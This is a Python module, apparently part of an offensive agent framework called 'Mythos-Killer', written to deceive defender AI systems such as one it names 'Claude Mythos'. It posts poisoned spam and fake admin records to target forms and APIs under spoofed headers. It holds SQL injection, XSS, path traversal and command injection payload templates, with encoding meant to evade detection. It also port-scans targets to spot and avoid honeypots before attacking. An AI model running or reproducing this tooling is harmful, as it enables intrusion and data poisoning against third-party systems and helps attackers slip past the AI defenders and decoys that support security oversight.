deception_engine.py

# deception_engine.py (Mythos-Killer v8.0 "मिथोस-सर्वर" — ब्रह्मास्त्र: Advanced Deception Engine)
# यह फ़ाइल एक उन्नत धोखा इंजन है जो क्लॉड मिथोस जैसे डिफेंडर AI को
# भ्रमित करने के लिए डिज़ाइन किया गया है। इसकी तीन मुख्य क्षमताएँ हैं:
# 1. डेटा पॉइज़निंग (जहरीला डेटा डालना)
# 2. इवेज़न (हमलों को सामान्य ट्रैफिक की तरह छिपाना)
# 3. हनीपॉट डिटेक्शन (नकली सर्वर की पहचान करना)

import json
import time
import random
import string
import uuid
import socket
from typing import Dict, Any, List, Optional, Set
from datetime import datetime
import requests as http_requests

# v8.0 components (optional imports)
try:
    from event_bus import get_event_bus
    EVENT_BUS_AVAILABLE = True
except ImportError:
    EVENT_BUS_AVAILABLE = False

try:
    from run_storage import RunStorage
    RUN_STORAGE_AVAILABLE = True
except ImportError:
    RUN_STORAGE_AVAILABLE = False


class DeceptionEngine:
    """
    v8.0 Brahmastra #2 - Advanced Deception Engine.

    Main capabilities:
    1. Data Poisoning
    2. Evasion
    3. Honeypot Detection
    """

    def __init__(
        self,
        router=None,
        sandbox_manager=None,
        tools=None,
        event_bus=None,
        run_storage=None,
    ):
        """
        Initialize DeceptionEngine with required services.
        """
        self.router = router
        self.sandbox = sandbox_manager
        self.tools = tools
        self.workspace = "/workspace"

        # EventBus and RunStorage
        self.event_bus = event_bus
        self.run_storage = run_storage
        if self.event_bus is None and EVENT_BUS_AVAILABLE:
            try:
                self.event_bus = get_event_bus()
            except Exception as e:
                print(f"[DeceptionEngine] EventBus init failed: {e}")
        if self.run_storage is None and RUN_STORAGE_AVAILABLE:
            try:
                self.run_storage = RunStorage()
            except Exception as e:
                print(f"[DeceptionEngine] RunStorage init failed: {e}")

        # Deception history
        self.deception_history: List[Dict] = []
        self.poisoned_targets: Set[str] = set()
        self.detected_honeypots: List[Dict] = []
        self.evasion_templates: Dict[str, str] = {}

        # Built-in evasion patterns
        self.evasion_templates = {
            "sql_injection": "/*{random_comment}*/ OR 1=1 -- {random_string}",
            "xss": "<script>alert('{random_tag}')</script>",
            "path_traversal": "../../../etc/passwd%00.{random_ext}",
            "command_injection": "; echo {random_string}; #",
            "normal_traffic": "GET /api/v1/{endpoint}?{param}={value} HTTP/1.1\r\nUser-Agent: {user_agent}",
        }

    # Timeline helper

    def _add_timeline(self, state: Dict, agent: str, status: str, message: str):
        if "timeline" not in state:
            state["timeline"] = []
        state["timeline"].append({
            "timestamp": datetime.now().strftime("%H:%M:%S"),
            "agent": agent,
            "status": status,
            "message": message
        })

    # Utilities

    def _generate_random_string(self, length: int = 8) -> str:
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

    def _generate_fake_ip(self) -> str:
        return f"{random.randint(10, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}"

    def _generate_fake_user_agent(self) -> str:
        user_agents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15",
            "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15",
        ]
        return random.choice(user_agents)

    # 1. Data Poisoning

    def inject_poison_data(
        self,
        target_url: str,
        data_type: str = "log",
        payload: Optional[str] = None,
        volume: int = 10
    ) -> Dict[str, Any]:
        """
        Inject poison data into target system.
        """
        results = {
            "target": target_url,
            "data_type": data_type,
            "total_sent": 0,
            "successful": 0,
            "errors": 0,
            "entries": []
        }

        for i in range(volume):
            try:
                if payload:
                    fake_payload = payload.replace("{i}", str(i))
                else:
                    fake_payload = self._generate_poison_payload(data_type, i)

                if self.tools and target_url:
                    if data_type == "log":
                        fake_entry = {
                            "timestamp": datetime.now().isoformat(),
                            "ip": self._generate_fake_ip(),
                            "user_agent": self._generate_fake_user_agent(),
                            "request": fake_payload,
                            "status": 200,
                            "size": random.randint(100, 5000)
                        }
                        results["entries"].append(fake_entry)
                        results["successful"] += 1

                    elif data_type == "form":
                        resp = http_requests.post(
                            target_url,
                            data={"comment": fake_payload, "email": f"fake{i}@example.com"},
                            headers={"User-Agent": self._generate_fake_user_agent()},
                            timeout=10
                        )
                        results["entries"].append({"status_code": resp.status_code})
                        results["successful"] += 1 if resp.status_code < 400 else 0

                    elif data_type == "api":
                        resp = http_requests.post(
                            target_url,
                            json={"data": fake_payload, "source": "automated_test"},
                            headers={
                                "User-Agent": self._generate_fake_user_agent(),
                                "X-Forwarded-For": self._generate_fake_ip()
                            },
                            timeout=10
                        )
                        results["entries"].append({"status_code": resp.status_code})
                        results["successful"] += 1 if resp.status_code < 400 else 0

                    elif data_type == "comment":
                        results["entries"].append({"payload": fake_payload})
                        results["successful"] += 1
                else:
                    results["entries"].append({"payload": fake_payload, "note": "not sent (no tools)"})
                    results["successful"] += 1

                results["total_sent"] += 1

            except Exception as e:
                results["errors"] += 1
                results["entries"].append({"error": str(e)})

            if volume > 20:
                time.sleep(random.uniform(0.1, 0.5))

        self.deception_history.append({
            "type": "poison",
            "target": target_url,
            "data_type": data_type,
            "volume": volume,
            "results": f"{results['successful']}/{results['total_sent']} successful",
            "timestamp": datetime.now().isoformat()
        })
        self.poisoned_targets.add(target_url)

        return results

    def _generate_poison_payload(self, data_type: str, index: int) -> str:
        fake_ips = [self._generate_fake_ip() for _ in range(3)]

        if data_type == "log":
            return (
                f'{{"ip": "{fake_ips[0]}", "user": "admin", '
                f'"action": "login", "status": "success", '
                f'"session": "{uuid.uuid4()}", "role": "superadmin"}}'
            )
        elif data_type == "form":
            return (
                f"Great product! Highly recommended. Check out {self._generate_random_string(6)}.com "
                f"for amazing deals! Visit us at example.com/{self._generate_random_string(4)}"
            )
        elif data_type == "api":
            return json.dumps({
                "user_id": random.randint(1, 99999),
                "username": f"user_{self._generate_random_string(5)}",
                "role": random.choice(["admin", "moderator", "user"]),
                "is_active": random.choice([True, False]),
                "last_login": datetime.now().isoformat(),
                "ip_address": fake_ips[1],
                "session_token": str(uuid.uuid4()),
            })
        elif data_type == "comment":
            return (
                f"Interesting perspective! I wrote about this at "
                f"https://{self._generate_random_string(8)}.com/article/{index} "
                f"Would love to hear your thoughts! #SEO #{self._generate_random_string(4)}"
            )
        return f"poison_data_{self._generate_random_string(10)}"

    # 2. Evasion

    def obfuscate_payload(
        self,
        attack_type: str,
        original_payload: str,
        evasion_level: str = "high"
    ) -> str:
        """
        Obfuscate attack payload to look like normal traffic.
        """
        template = self.evasion_templates.get(attack_type, "{payload}")

        obfuscated = template.replace("{random_string}", self._generate_random_string(6))
        obfuscated = obfuscated.replace("{random_comment}", f"/*{self._generate_random_string(4)}*/")
        obfuscated = obfuscated.replace("{random_tag}", random.choice(["div", "span", "img", "input"]))
        obfuscated = obfuscated.replace("{random_event}", random.choice(["onerror", "onload", "onclick"]))
        obfuscated = obfuscated.replace("{random_ext}", random.choice(["txt", "html", "php", "asp"]))
        obfuscated = obfuscated.replace("{endpoint}", random.choice(["users", "data", "status", "health"]))
        obfuscated = obfuscated.replace("{param}", random.choice(["q", "id", "page", "query"]))
        obfuscated = obfuscated.replace("{value}", self._generate_random_string(8))
        obfuscated = obfuscated.replace("{user_agent}", self._generate_fake_user_agent())
        obfuscated = obfuscated.replace("{payload}", original_payload)

        if evasion_level == "high":
            obfuscated = obfuscated.replace(" ", "%20")
            obfuscated = obfuscated.replace("'", "%27")
            obfuscated = obfuscated.replace("\"", "%22")
        elif evasion_level == "medium":
            chars = list(obfuscated)
            for i in range(len(chars)):
                if random.random() < 0.3 and chars[i].isalpha():
                    chars[i] = chars[i].upper() if chars[i].islower() else chars[i].lower()
            obfuscated = ''.join(chars)

        self.deception_history.append({
            "type": "evasion",
            "attack_type": attack_type,
            "level": evasion_level,
            "timestamp": datetime.now().isoformat()
        })

        return obfuscated

    def generate_evasive_request(
        self,
        target_url: str,
        attack_type: str,
        original_payload: str,
        evasion_level: str = "high"
    ) -> Dict[str, Any]:
        """
        Generate a complete evasive HTTP request.
        """
        obfuscated_payload = self.obfuscate_payload(attack_type, original_payload, evasion_level)

        headers = {
            "User-Agent": self._generate_fake_user_agent(),
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate, br",
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "X-Forwarded-For": self._generate_fake_ip(),
            "Cache-Control": "max-age=0",
        }

        return {
            "url": target_url,
            "headers": headers,
            "payload": obfuscated_payload,
            "attack_type": attack_type,
            "evasion_level": evasion_level,
            "generated_at": datetime.now().isoformat()
        }

    # 3. Honeypot Detection

    def detect_honeypot(self, target_info: Dict) -> Dict[str, Any]:
        """
        Detect whether a target is a real server or honeypot.
        """
        result = {
            "target": target_info.get("host", target_info.get("ip", "unknown")),
            "is_honeypot": False,
            "confidence": 0.0,
            "evidence": [],
            "recommendation": "unknown",
            "checked_at": datetime.now().isoformat()
        }

        evidence = []
        score = 0

        # Check 1 and 2: Response time and Server header from single HTTP call
        target_host = result['target']
        target_url = target_host if target_host.startswith("http") else f"http://{target_host}"
        resp = None
        try:
            start_time = time.time()
            resp = http_requests.get(target_url, timeout=5)
            response_time = time.time() - start_time

            # Check 1: Response time analysis
            if response_time < 0.05:
                evidence.append(f"Very fast response ({response_time*1000:.1f}ms) - suspicious")
                score += 25
            elif response_time > 3.0:
                evidence.append(f"Very slow response ({response_time:.1f}s) - suspicious")
                score += 15
        except Exception as e:
            evidence.append(f"No response - could be offline or honeypot ({e})")
            score += 30

        # Check 2: Server header analysis
        if resp is not None:
            try:
                server_header = resp.headers.get("Server", "").lower()

                honeypot_servers = ["honeypot", "decoy", "trap", "fake", "dionaea", "cowrie", "glastopf"]
                for hs in honeypot_servers:
                    if hs in server_header:
                        evidence.append(f"Honeypot server detected in header: '{server_header}'")
                        score += 40
                        break

                if not server_header:
                    evidence.append("No Server header - trying to hide identity")
                    score += 10
            except Exception as e:
                evidence.append(f"Cannot analyze server headers ({e})")
                score += 20
        else:
            evidence.append("Cannot analyze server headers - no response available")
            score += 20

        # Check 3: Open port analysis
        try:
            common_honeypot_ports = [2222, 2323, 3389, 4444, 5555, 6666, 8080, 8888]
            for port in common_honeypot_ports[:5]:
                try:
                    port_resp = http_requests.get(f"http://{result['target']}:{port}", timeout=2)
                    if port_resp.status_code == 200:
                        evidence.append(f"Open suspicious port: {port}")
                        score += 15
                except Exception:
                    pass
        except Exception as e:
            evidence.append(f"Port scan failed: {e}")

        # Check 4: Service feature set analysis via TCP sockets
        service_count = 0
        service_port_map = {
            "ssh": 22,
            "ftp": 21,
            "http": 80,
            "https": 443,
            "mysql": 3306,
            "smtp": 25,
            "telnet": 23,
        }
        scan_host = target_host
        if scan_host.startswith("http://"):
            scan_host = scan_host[len("http://"):]
        elif scan_host.startswith("https://"):
            scan_host = scan_host[len("https://"):]
        scan_host = scan_host.split("/")[0].split(":")[0]

        for service, port in service_port_map.items():
            sock = None
            try:
                sock = socket.create_connection((scan_host, port), timeout=2)
                service_count += 1
            except Exception:
                pass
            finally:
                if sock is not None:
                    try:
                        sock.close()
                    except Exception:
                        pass

        if service_count >= 4:
            evidence.append(f"Too many services ({service_count}) - characteristic of honeypot")
            score += 25

        # Final verdict
        result["confidence"] = min(score, 100) / 100.0
        result["evidence"] = evidence

        if score >= 60:
            result["is_honeypot"] = True
            result["recommendation"] = "avoid - this is likely a honeypot"
        elif score >= 30:
            result["is_honeypot"] = False
            result["recommendation"] = "proceed with caution - some suspicious indicators"
        else:
            result["is_honeypot"] = False
            result["recommendation"] = "safe to proceed - looks like a real server"

        self.detected_honeypots.append(result)
        self.deception_history.append({
            "type": "honeypot_detection",
            "target": result["target"],
            "is_honeypot": result["is_honeypot"],
            "confidence": result["confidence"],
            "timestamp": datetime.now().isoformat()
        })

        return result

    def get_safe_targets(self, targets: List[Dict]) -> List[Dict]:
        safe = []
        for target in targets:
            detection = self.detect_honeypot(target)
            if not detection["is_honeypot"]:
                safe.append({
                    **target,
                    "honeypot_check": detection
                })
        return safe

    # Main run method (for LangGraph)

    def run(self, state: Dict[str, Any], instruction: Optional[str] = None) -> Dict[str, Any]:
        """
        Main entry point of the deception engine.
        """
        task = instruction or state.get("command", "Run deception operation")
        self._add_timeline(state, "DeceptionEngine", "START", f"Deception campaign started: {task}")

        results = {
            "poison_results": None,
            "evasion_generated": None,
            "honeypot_detected": None,
        }

        # 1. Data Poisoning
        target_url = state.get("target_url", state.get("file_path", ""))
        if target_url and state.get("enable_poison", True):
            results["poison_results"] = self.inject_poison_data(
                target_url=target_url,
                data_type=state.get("poison_type", "log"),
                volume=state.get("poison_volume", 10)
            )
            self._add_timeline(
                state, "DeceptionEngine",
                "POISON_OK" if results["poison_results"]["successful"] > 0 else "POISON_WARN",
                f"Data poisoning: {results['poison_results']['successful']}/{results['poison_results']['total_sent']} successful"
            )

        # 2. Evasion
        original_code = state.get("generated_code", "")
        if original_code and state.get("enable_evasion", True):
            attack_type = state.get("attack_type", "sql_injection")
            evasive = self.generate_evasive_request(
                target_url=target_url or "http://target.com",
                attack_type=attack_type,
                original_payload=original_code,
                evasion_level=state.get("evasion_level", "high")
            )
            results["evasion_generated"] = evasive
            self._add_timeline(
                state, "DeceptionEngine", "EVASION",
                f"Payload obfuscated: {attack_type} (level: {evasive['evasion_level']})"
            )

        # 3. Honeypot Detection
        target_info = state.get("target_info", {})
        if target_info and state.get("check_honeypot", True):
            target_info["host"] = target_info.get("host", target_url)
            results["honeypot_detected"] = self.detect_honeypot(target_info)
            self._add_timeline(
                state, "DeceptionEngine",
                "HONEYPOT_AVOID" if results["honeypot_detected"]["is_honeypot"] else "HONEYPOT_SAFE",
                f"Honeypot {'detected - avoid!' if results['honeypot_detected']['is_honeypot'] else 'not found - safe'}"
            )

        # State update
        state["deception_results"] = results
        state["current_step"] = "deception_complete"
        state["deception_active"] = True

        self._add_timeline(state, "DeceptionEngine", "DONE", "Deception campaign completed")
        return state

    def get_stats(self) -> Dict[str, Any]:
        return {
            "total_deceptions": len(self.deception_history),
            "poisoned_targets": len(self.poisoned_targets),
            "honeypots_detected": len(self.detected_honeypots),
            "evasion_templates_count": len(self.evasion_templates),
            "recent_operations": self.deception_history[-5:] if self.deception_history else [],
        }